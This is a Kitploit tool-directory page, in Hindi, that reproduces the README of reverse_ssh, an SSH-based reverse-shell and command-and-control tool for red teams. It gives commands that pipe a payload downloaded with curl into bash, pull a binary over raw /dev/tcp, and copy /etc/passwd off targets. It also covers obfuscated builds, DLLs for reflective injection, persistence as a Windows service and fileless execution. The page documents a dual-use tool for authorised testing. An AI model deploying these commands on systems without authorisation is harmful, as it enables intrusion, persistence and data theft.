Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
reverse_ssh — SSH-आधारित रिवर्स शेल प्रबंधन उपकरण जिसमें मूल SCP/SFTP समर्थन, एकाधिक ट्रांसपोर्ट प्रोटोकॉल, Windows DLL जनरेशन, और रेड टीम संचालन के लिए फाइललेस निष्पादन शामिल है। | Kitploit
उपकरण/GitHubGitHub/nhas/reverse_ssh
शेलकोडशेलकोड जनरेशन
GitHubnhas/reverse_ssh

reverse_ssh

SSH-आधारित रिवर्स शेल प्रबंधन उपकरण जिसमें मूल SCP/SFTP समर्थन, एकाधिक ट्रांसपोर्ट प्रोटोकॉल, Windows DLL जनरेशन, और रेड टीम संचालन के लिए फाइललेस निष्पादन शामिल है।

रिपॉजिटरी देखें
1.4k1843121 दिन पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
# रिवर्स SSH
![icon](https://assets.kitploit.com/production/public/readmes/5627/3bd0c45d677266412761b05b4295e04dcc933d5a2f68427afa1f06748c3220ac.png)  
(कला श्रेय: https://www.instagram.com/smart.hedgehog.art/)

रिवर्स शेल के लिए SSH का उपयोग करना चाहते हैं? अब आप कर सकते हैं।

- मूल SSH सिंटैक्स के साथ रिवर्स शेल को प्रबंधित और कनेक्ट करें
- डायनमिक, लोकल और रिमोट फ़ॉरवर्डिंग
- अपने लक्ष्यों से फ़ाइलें प्राप्त करने के लिए मूल `SCP` और `SFTP` कार्यान्वयन
- पूर्ण विंडोज शेल
- एकाधिक नेटवर्क ट्रांसपोर्ट, जैसे `http`, `websockets`, `tls` और अधिक
- उच्च विश्वास नियंत्रण चैनल बनाने के लिए पारस्परिक क्लाइंट और सर्वर प्रमाणीकरण
और भी बहुत कुछ!```text
                    +----------------+                 +---------+
                    |                |                 |         |
                    |                |       +---------+   RSSH  |
                    |    Reverse     |       |         |  Client |
                    |  SSH server    |       |         |         |
                    |                |       |         +---------+
+---------+         |                |       |
|         |         |                |       |
| Human   |   SSH   |                |  SSH  |         +---------+
| Client  +-------->+                <-----------------+         |
|         |         |                |       |         |   RSSH  |
+---------+         |                |       |         |  Client |
                    |                |       |         |         |
                    |                |       |         +---------+
                    |                |       |
                    |                |       |
                    +----------------+       |         +---------+
                                             |         |         |
                                             |         |   RSSH  |
                                             +---------+  Client |
                                                       |         |
                                                       +---------+
```
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1

- [रिवर्स SSH](#reverse-ssh)
  - [TL;DR](#tldr)
    - [सेटअप](#setup)
    - [मूल उपयोग](#basic-usage)
  - [प्रायोजक](#sponsors)
    - [व्यक्ति](#individuals)
    - [कंपनियाँ](#companies)
  - [फैंसी विशेषताएँ](#fancy-features)
    - [विशेषाधिकार](#privileges)
    - [स्वचालित कनेक्ट-बैक](#automatic-connect-back)
    - [रिवर्स शेल डाउनलोड (क्लाइंट जनरेशन और अंतर्निहित HTTP सर्वर)](#reverse-shell-download-client-generation-and-in-built-http-server)
    - [वैकल्पिक ट्रांसपोर्ट (HTTP/Websockets/TLS)](#alternate-transports-httpwebsocketstls)
    - [Bash ऑटोकम्प्लीट](#bash-autocomplete)
    - [Windows DLL उत्पादन](#windows-dll-generation)
    - [SSH उपप्रणालियाँ](#ssh-subsystems)
      - [सभी](#all)
      - [Linux](#linux)
      - [Windows](#windows)
    - [Windows सेवा एकीकरण](#windows-service-integration)
    - [पूर्ण Windows शेल समर्थन](#full-windows-shell-support)
    - [वेबहुक](#webhooks)
    - [Tun (VPN)](#tun-vpn)
    - [फाइललेस निष्पादन (क्लाइंट शेल के रूप में निष्पादित करने के लिए डायनामिक रूप से निष्पादन योग्य डाउनलोड करने का समर्थन करते हैं)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
      - [समर्थित URI योजनाएँ](#supported-uri-schemes)
- [सहायता](#help)
  - [विंडोज़](#windows-help)
    - [SFTP](#windows-and-sftp)
    - [सत्र स्पॉन त्रुटियाँ (0xc0000142)](#session-spawn-errors-0xc0000142)
  - [`--insecure` के साथ शुरू किए गए सर्वर में अभी भी `Failed to handshake` है](#server-started-with---insecure-still-has-failed-to-handshake)
  - [अग्रभूमि बनाम पृष्ठभूमि](#foreground-vs-background)
- [दान, समर्थन, या बदले में देना](#donations-support-or-giving-back)

## TL;DR

### सेटअप

डॉकर रिलीज़ की अनुशंसा की जाती है क्योंकि इसमें golang का सही संस्करण और विंडोज के लिए क्रॉस कंपाइलर शामिल है।```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
```
या docker compose:```yaml
services:
  reversessh:
    image: reversessh/reverse_ssh
    ports:
      - "3232:2222"
    environment:
      - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
      - RSSH_CONSOLE_LABEL=c2.label
      - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
      - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
    volumes:
      - ./data:/data
```
### मूल उपयोग```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+
```
सभी कमांड सहायता प्रदान करने के लिए `-h` फ़्लैग का समर्थन करते हैं।

फिर सामान्य ssh कमांड काम करते हैं, बस अपने rssh सर्वर को एक जंप होस्ट के रूप में निर्दिष्ट करें।```sh
# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine

# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine

# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine

# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
```
## प्रायोजक 

निम्नलिखित लोगों को RSSH परियोजना में योगदान देने और यह सब संभव बनाने के लिए हार्दिक धन्यवाद!

### व्यक्तिगत
[chikamobina](https://github.com/chikamobina) उनके उदार दान के लिए!  
[wrighterase (ctrlzero)](https://github.com/wrighterase) उनके पुल रिक्वेस्ट और दान के लिए!

### कंपनियाँ

[Carapace](https://carapace.nz/) एक न्यूज़ीलैंड स्थित सुरक्षा परामर्श कंपनी है जिसमें अत्यधिक प्रतिभाशाली टीम है!  
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)


## फैंसी विशेषताएँ


### विशेषाधिकार
RSSH सर्वर बहुत बुनियादी उपयोगकर्ता विशेषाधिकारों का समर्थन करता है, जहाँ `data-directory`/`keys` (द्वारा निर्दिष्ट `--datadir`) फ़ोल्डर में पाए जाने वाले उपयोगकर्ता, उदा. `data-directory/keys/jim`, को "उपयोगकर्ता" के रूप में नियुक्त किया जाएगा जो केवल उन ग्राहकों को देख सकता है जो सार्वजनिक हैं (फ़ाइल `authorized_controllee_keys` में बिना `owners` टैग के, या खाली `owners` टैग के) या विशेष रूप से उन्हें असाइन किए गए हैं, उदा. `owners="jim"`।

इसे रन टाइम पर बदला जा सकता है किसी उपयोगकर्ता द्वारा जो उनके स्वामित्व वाले क्लाइंट तक पहुँच साझा करता है `access` कमांड के माध्यम से, या सर्वर व्यवस्थापक द्वारा। डिफ़ॉल्ट रूप से, `authorized_keys` फ़ाइल में पाई जाने वाली कोई भी सार्वजनिक कुंजी पिछड़ी संगतता बनाए रखने के लिए व्यवस्थापक के रूप में चिह्नित की जाएगी।
`access` कमांड द्वारा किए गए किसी भी परिवर्तन सर्वर रीबूट पर बने नहीं रहेंगे, और इसके लिए उस विशिष्ट क्लाइंट के लिए `authorized_controllee_keys` फ़ाइल को संपादित करने की आवश्यकता होगी।

### स्वचालित वापस-कनेक्ट

rssh क्लाइंट आपको कनेक्ट-बैक पता बनाने की अनुमति देता है।
डिफ़ॉल्ट रूप से, `link` कमांड सर्वर के बाहरी पते को सम्मिलित करेगा।

यदि आप (किसी कारण से) मैन्युअल रूप से बाइनरी बना रहे हैं, तो आप क्लाइंट में इसे सम्मिलित करने के लिए पर्यावरण चर `RSSH_HOMESERVER` निर्दिष्ट कर सकते हैं:```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make

# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client

# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232
```
### रिवर्स शेल डाउनलोड (क्लाइंट जनरेशन और अंतर्निहित HTTP/Raw TCP सर्वर)

RSSH सर्वर क्लाइंट बाइनरीज़ बना और होस्ट कर सकता है (`link` कमांड)। यह क्लाइंट बनाने और सेवा देने का पसंदीदा तरीका है।
फ़ंक्शन के काम करने के लिए सर्वर को प्रोजेक्ट के `bin/` फ़ोल्डर में रखा जाना चाहिए, क्योंकि उसे क्लाइंट स्रोत खोजने की आवश्यकता होती है।
डिफ़ॉल्ट रूप से `docker` रिलीज़ में यह सब ठीक से बनाया गया है, और उपयोग के लिए अनुशंसित है```sh
ssh your.rssh.server.internal -p 3232

catcher$ link -h

link [OPTIONS]
Link will compile a client and serve the resulting binary on a link which is returned.
This requires the web server component has been enabled.
        --fingerprint   Set RSSH server fingerprint will default to server public key
        --garble        Use garble to obfuscate the binary (requires garble to be installed)
        --goarch        Set the target build architecture (default runtime GOARCH)
        --goarm Set the go arm variable (not set by default)
        --goos  Set the target build operating system (default runtime GOOS)
        --http  Use http polling as the underlying transport
        --https Use https polling as the underlying transport
        --log-level     Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED]
        --lzma  Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set)
        --name  Set the link download url/filename (default random characters)
        --no-lib-c      Compile client without glibc
        --ntlm-proxy-creds      Set NTLM proxy credentials in format DOMAIN\\USER:PASS
        --owners        Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson
        --proxy Set connect proxy address to bake it
        --raw-download  Download over raw TCP, outputs bash downloader rather than http
        --shared-object Generate shared object file
        --sni   When TLS is in use, set a custom SNI for the client to connect with
        --stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored
        --tls   Use TLS as the underlying transport
        --upx   Use upx to compress the final binary (requires upx to be installed)
        --use-kerberos  Instruct client to try and use kerberos ticket when using a proxy
        --working-directory     Set download/working directory for automatic script (i.e doing curl https://<url>.sh)
        --ws    Use plain http websockets as the underlying transport
        --wss   Use TLS websockets as the underlying transport
        -C      Comment to add as the public key (acts as the name)
        -l      List currently active download links
        -o      Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson
        -r      Remove download link
        -s      Set homeserver address, defaults to server --external_address if set, or server listen address if not

# Generate a client and serve it on a named link
catcher$ link --name test
http://your.rssh.server.internal:3232/test
```
फिर आप इसे इस प्रकार डाउनलोड कर सकते हैं:```sh
wget http://your.rssh.server.internal:3232/test
chmod +x test
./test
```
या आप raw tcp का उपयोग करके client binary डाउनलोड कर सकते हैं:```sh
bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test
```
इसके लिए प्रारूप सिर्फ `RAW` है जिसके बाद फ़ाइल का नाम आता है, उदाहरण के लिए इस मामले में `test`, rssh `--raw-download` के साथ आपके लिए इसे स्वतः उत्पन्न कर सकता है।

RSSH सर्वर `.sh`, `.py` और `.ps1` URL पथ अंत का भी समर्थन करता है जो एक स्क्रिप्ट उत्पन्न करेगा जिसे आप एक इंटरप्रेटर में पाइप कर सकते हैं:```sh
curl http://your.rssh.server.internal:3232/test.sh | sh
```
### वैकल्पिक ट्रांसपोर्ट (HTTP/Websockets/TLS)
रिवर्स SSH सर्वर और क्लाइंट दोनों कई ट्रांसपोर्ट का समर्थन करते हैं, जब डीप पैकेट इंस्पेक्शन किसी होस्ट या नेटवर्क से SSH आउटबाउंड को ब्लॉक करता है।
आप क्लाइंट में एक url के रूप में निर्दिष्ट करके कनेक्ट बैक योजना को मैन्युअल रूप से चुन सकते हैं।

उदाहरण```sh
./client -d ws://your.rssh.server:3232
```
या इसे `link` कमांड के साथ बेक करके।```sh
ssh your.rssh.server -p 3232 link --ws --name test
```
### Bash autocomplete

RSSH सर्वर में `autocomplete` कमांड है जो bash के साथ अच्छी तरह से एकीकृत होता है ताकि आप सर्वर कंसोल का उपयोग न करते हुए भी autocompletions प्राप्त कर सकें। 
उन्हें स्थापित करने के लिए आप बस यह करें:```sh
ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232
```
और यह एक ऑटोकम्पलीशन लौटाएगा जिसे आपके `.zshrc` या `.bashrc` में जोड़ा जा सकता है

E.g```sh
_RSSHCLIENTSCOMPLETION()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) )
}

_RSSHFUNCTIONSCOMPLETIONS()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) )
}

complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232 

complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232

complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill 
```
आपको अपने टर्मिनल से सीधे पूर्णताएँ करने में सक्षम बनाता है:```sh
# Will give you an option based on what clients are connected
ssh -J your.rssh.server.internal:3232 <TAB>
```
### विंडोज DLL जनरेशन

आप क्लाइंट को एक DLL के रूप में संकलित कर सकते हैं, जिसे [Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1) जैसी चीज़ से लोड किया जा सकता है। यह तब उपयोगी होता है जब आप rssh क्लाइंट का फ़ाइलरहित इंजेक्शन करना चाहते हैं।

यदि आप लिनक्स पर ऐसा कर रहे हैं तो इसके लिए एक क्रॉस कंपाइलर की आवश्यकता होगी, `mingw-w64-gcc` का उपयोग करें, यह डॉकर रिलीज़ में शामिल है।```bash
# Using the link command
catcher$ link --goos windows --shared-object --name windows_dll
http://your.rssh.server.internal:3232/windows_dll

# If building manually
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll
```
### SSH उपप्रणालियाँ

SSH प्रोटोकॉल `-s` फ्लैग के साथ उपप्रणालियों को कॉल करने का समर्थन करता है। RSSH में इसका पुन: उपयोग प्लेटफार्मों के लिए विशेष कमांड प्रदान करने और `sftp` समर्थन के लिए किया गया है।


#### All

`list`  उपलब्ध उपप्रणाली सूचीबद्ध करता है

`sftp`: फ़ाइलें स्थानांतरित करने के लिए sftp हैंडलर चलाता है

#### Linux

`setgid`:   समूह बदलने का प्रयास करें

`setuid`:   उपयोगकर्ता बदलने का प्रयास करें

#### Windows
`service`: rssh बाइनरी को विंडोज़ सेवा के रूप में स्थापित या हटाता है, इसके लिए प्रशासनिक अधिकार आवश्यक हैं


उदा.```sh
# Install the rssh binary as a service (windows only)
ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install
```
### विंडोज सेवा एकीकरण

क्लाइंट RSSH बाइनरी एक विंडोज सेवा के भीतर चलने का समर्थन करता है और 10 सेकंड के बाद टाइम आउट नहीं होगा। यह स्थायी प्रबंधन सेवाएँ बनाने के लिए बहुत अच्छा है।

### पूर्ण विंडोज शेल समर्थन

विंडोज के लिए अधिकांश रिवर्स शेल एक शेल वातावरण उत्पन्न करने में संघर्ष करते हैं जो आकार बदलने, कॉपी और पेस्ट करने और अन्य सभी सुविधाओं का समर्थन करता है जिनके हम सभी बहुत शौकीन हैं।
यह परियोजना विंडोज के नए संस्करणों पर `conpty` का उपयोग करती है, और पुराने संस्करणों पर `winpty` लाइब्रेरी (जो स्वयं अनपैक होती है) का उपयोग करती है। इसका मतलब यह होना चाहिए कि विंडोज के लगभग सभी संस्करण आपको एक अच्छा शेल प्रदान करेंगे।

### वेबहुक

RSSH सर्वर टर्मिनल इंटरफ़ेस से `webhook` कमांड का उपयोग करके सेट किए गए रॉ HTTP अनुरोध भेज सकता है।

पहले एक वेबहुक सक्षम करें:```bash
$ ssh your.rssh.server.internal -p 3232
catcher$ webhook --on http://localhost:8080/
```
फिर डिस्कनेक्ट करें, या कोई क्लाइंट कनेक्ट करें, यह निम्नलिखित प्रारूप के साथ एक `POST` अनुरोध जारी करेगा।```bash
$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip

{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%
```
एक अतिरिक्त नोट के रूप में, यदि इसे डिस्कॉर्ड से जोड़ रहे हैं तो कृपया `/slack` एंडपॉइंट का उपयोग करें।

### Tun (VPN)

RSSH और SSH tuntap इंटरफ़ेस बनाने का समर्थन करते हैं जो आपको ट्रैफ़िक को रूट करने और स्यूडो-VPN बनाने की अनुमति देते हैं। इसे सेट अप करने में स्थानीय या रिमोट फ़ॉरवर्ड (`-L`, `-R`) की तुलना में थोड़ा अधिक प्रयास लगता है, लेकिन इस मोड में आप `UDP` और `ICMP` भेज सकते हैं।

#### महत्वपूर्ण सूचना

यदि आप किसी दुर्भावनापूर्ण RSSH क्लाइंट से कनेक्ट करते हैं, तो वह आपके टनल डिवाइस से वापस कनेक्ट करने में सक्षम होगा। इसलिए यह महत्वपूर्ण है कि फ़ॉरवर्डिंग सक्षम न हो, और या तो स्थानीय मशीन पर कनेक्शन को रोकने के लिए फ़ायरवॉल नियम हों, या इसे कंटेनर/netns के अंदर से चलाएँ।

किसी दूरस्थ मशीन पर क्लाइंट स्थापित करें, यह काम नहीं करेगा यदि आपका RSSH क्लाइंट आपके tun डिवाइस के समान होस्ट पर है।```sh
sudo ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any

sudo ip link set dev tun0 up
sudo ip route add 0.0.0.0/0 dev tun0
```
इसकी कुछ सीमाएँ हैं, यह केवल `UDP`/`TCP`/`ICMP` भेज सकता है, और मनमाने लेयर 3 प्रोटोकॉल नहीं। `ICMP` सर्वोत्तम प्रयास है और रिमोट होस्ट के `ping` टूल का उपयोग कर सकता है, क्योंकि ICMP सॉकेट अधिकांश मशीनों पर विशेषाधिकार प्राप्त होते हैं। यह `tap` डिवाइसों का भी समर्थन नहीं करता, जैसे लेयर 2 VPN, क्योंकि इसके लिए प्रशासनिक पहुँच की आवश्यकता होगी।

### फ़ाइलरहित निष्पादन (क्लाइंट शेल के रूप में निष्पादित करने के लिए गतिशील रूप से निष्पादन योग्य डाउनलोड करने का समर्थन करते हैं)

जब यह निर्दिष्ट किया जाता है कि rssh बाइनरी को कौन सा निष्पादन योग्य चलाना चाहिए, चाहे पूर्ण PTY सत्र के साथ कनेक्ट करते समय या कच्चा निष्पादन, क्लाइंट ऑफ़होस्ट निष्पादन योग्य डाउनलोड करने के लिए URI योजनाओं का समर्थन करता है।

उदाहरण के लिए।```sh
connect --shell https://your.host/program <rssh_client_id>
ssh -J your.rssh.server:3232 <rssh_client_id> https://your.host/program
```
#### समर्थित URI स्कीमें

`http/https`: शुद्ध वेब डाउनलोडिंग

`rssh`: rssh सर्वर के माध्यम से डाउनलोड

rssh सर्वर अपने निष्पादन योग्य कार्यशील निर्देशिका के `downloads` फ़ोल्डर से सामग्री प्रदान करेगा।

ये दोनों विधियाँ अवसरवादी रूप से [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html) का उपयोग करेंगी, जो डिस्क पर कोई निष्पादन योग्य फ़ाइल नहीं लिखेगा।

# सहायता

## विंडोज

### SFTP

SFTP (या यूँ कहें कि मैं इसके लिए जो लाइब्रेरी उपयोग कर रहा हूँ) की सीमाओं के कारण, विंडोज पर पथों को थोड़ा अधिक प्रयास की आवश्यकता होती है।```sh
sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'
```
ध्यान दें कि प्रारंभिक वर्ण से पहले `/` है।

## सेशन स्पॉन त्रुटियाँ (0xc0000142)

कुछ निष्पादन परिस्थितियों में विंडोज़ पर RSSH क्लाइंट से कनेक्ट करने में कोई त्रुटि न होने पर भी विफलता हो सकती है।```sh
catcher$ connect windows-system
Session has terminated.
```
क्लाइंट लॉग्स:```sh
2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell"
2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned
2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected
```
इसके लिए दो सामान्य कारण हैं, पहला यह कि एंटीवायरस ने स्पॉन किए गए पॉवरशेल को मार दिया है, और दूसरा `0xc0000142` तब होता है जब परिणामी प्रक्रिया के पास विंडोज स्टेशन या डेस्कटॉप तक पहुंचने की अनुमति नहीं होती है [स्रोत](https://stackoverflow.com/questions/677874/starting-a-process-with-credentials-from-a-windows-service/30687230#30687230)।


यह निर्धारित करने के लिए कि कौन सा कारण यह समस्या पैदा कर रहा है, बिना pty के कोई भी कमांड निष्पादित करें:```sh
ssh -J rssh windows-system cmd /c dir                                
exit status 0xc0000142
```
यदि आप `0xc0000142` त्रुटि कोड देखते हैं तो `CMD.exe` प्रारंभ करने और pty (`-t`) को बलपूर्वक आवंटित करने का प्रयास करें:```sh
ssh -t -J rssh windows-system CMD.exe
```
यह एक इंटरैक्टिव शेल शुरू करना चाहिए।

## `--insecure` के साथ सर्वर शुरू करने पर भी `Failed to handshake` आता है

यदि क्लाइंट बाइनरी `link` कमांड से उत्पन्न की गई थी, तो इस क्लाइंट में डिफ़ॉल्ट रूप से सर्वर पब्लिक की फिंगरप्रिंट बेक इन होती है। यदि आप अपनी सर्वर प्राइवेट की खो देते हैं, तो क्लाइंट अब कनेक्ट नहीं कर पाएंगे।
आप `link --fingerprint <यहां फिंगरप्रिंट>` के साथ क्लाइंट उत्पन्न करके भी एक फिंगरप्रिंट निर्दिष्ट कर सकते हैं, लेकिन वर्तमान में संस्करण 1.0.13 के अनुसार इसे अक्षम करने का कोई तरीका नहीं है।

## अग्रभूमि बनाम पृष्ठभूमि

डिफ़ॉल्ट रूप से, क्लाइंट पृष्ठभूमि में चलेंगे फिर मूल प्रक्रिया समाप्त हो जाएगी, चाइल्ड प्रक्रिया को मूल प्रक्रियाओं का stdout/stderr दिया जाएगा ताकि आप आउटपुट देख सकें। यदि आपको अपने क्लाइंट को डीबग करने की आवश्यकता है, तो `--foreground` फ्लैग का उपयोग करें।

# दान, समर्थन, या वापस देना

RSSH प्रोजेक्ट को वापस देने का सबसे आसान तरीका बग ढूंढना, फीचर अनुरोध खोलना और मौखिक रूप से उन लोगों को इसका विज्ञापन करना है जिन्हें आपको लगता है कि यह उपयोगी लगेगा!

हालांकि, यदि आप सीधे मुझे कुछ वापस देना चाहते हैं, तो आप या तो Kofi या Github Sponsors (दाईं ओर "Sponsor this Project" के अंतर्गत) के माध्यम से ऐसा कर सकते हैं।
या निम्नलिखित वॉलेट में से किसी एक पर भेजकर मुझे दान करें:

Monero (XMR):
`8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND`
Bitcoin (BTC):
`bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr`
टूल डाउनलोड करें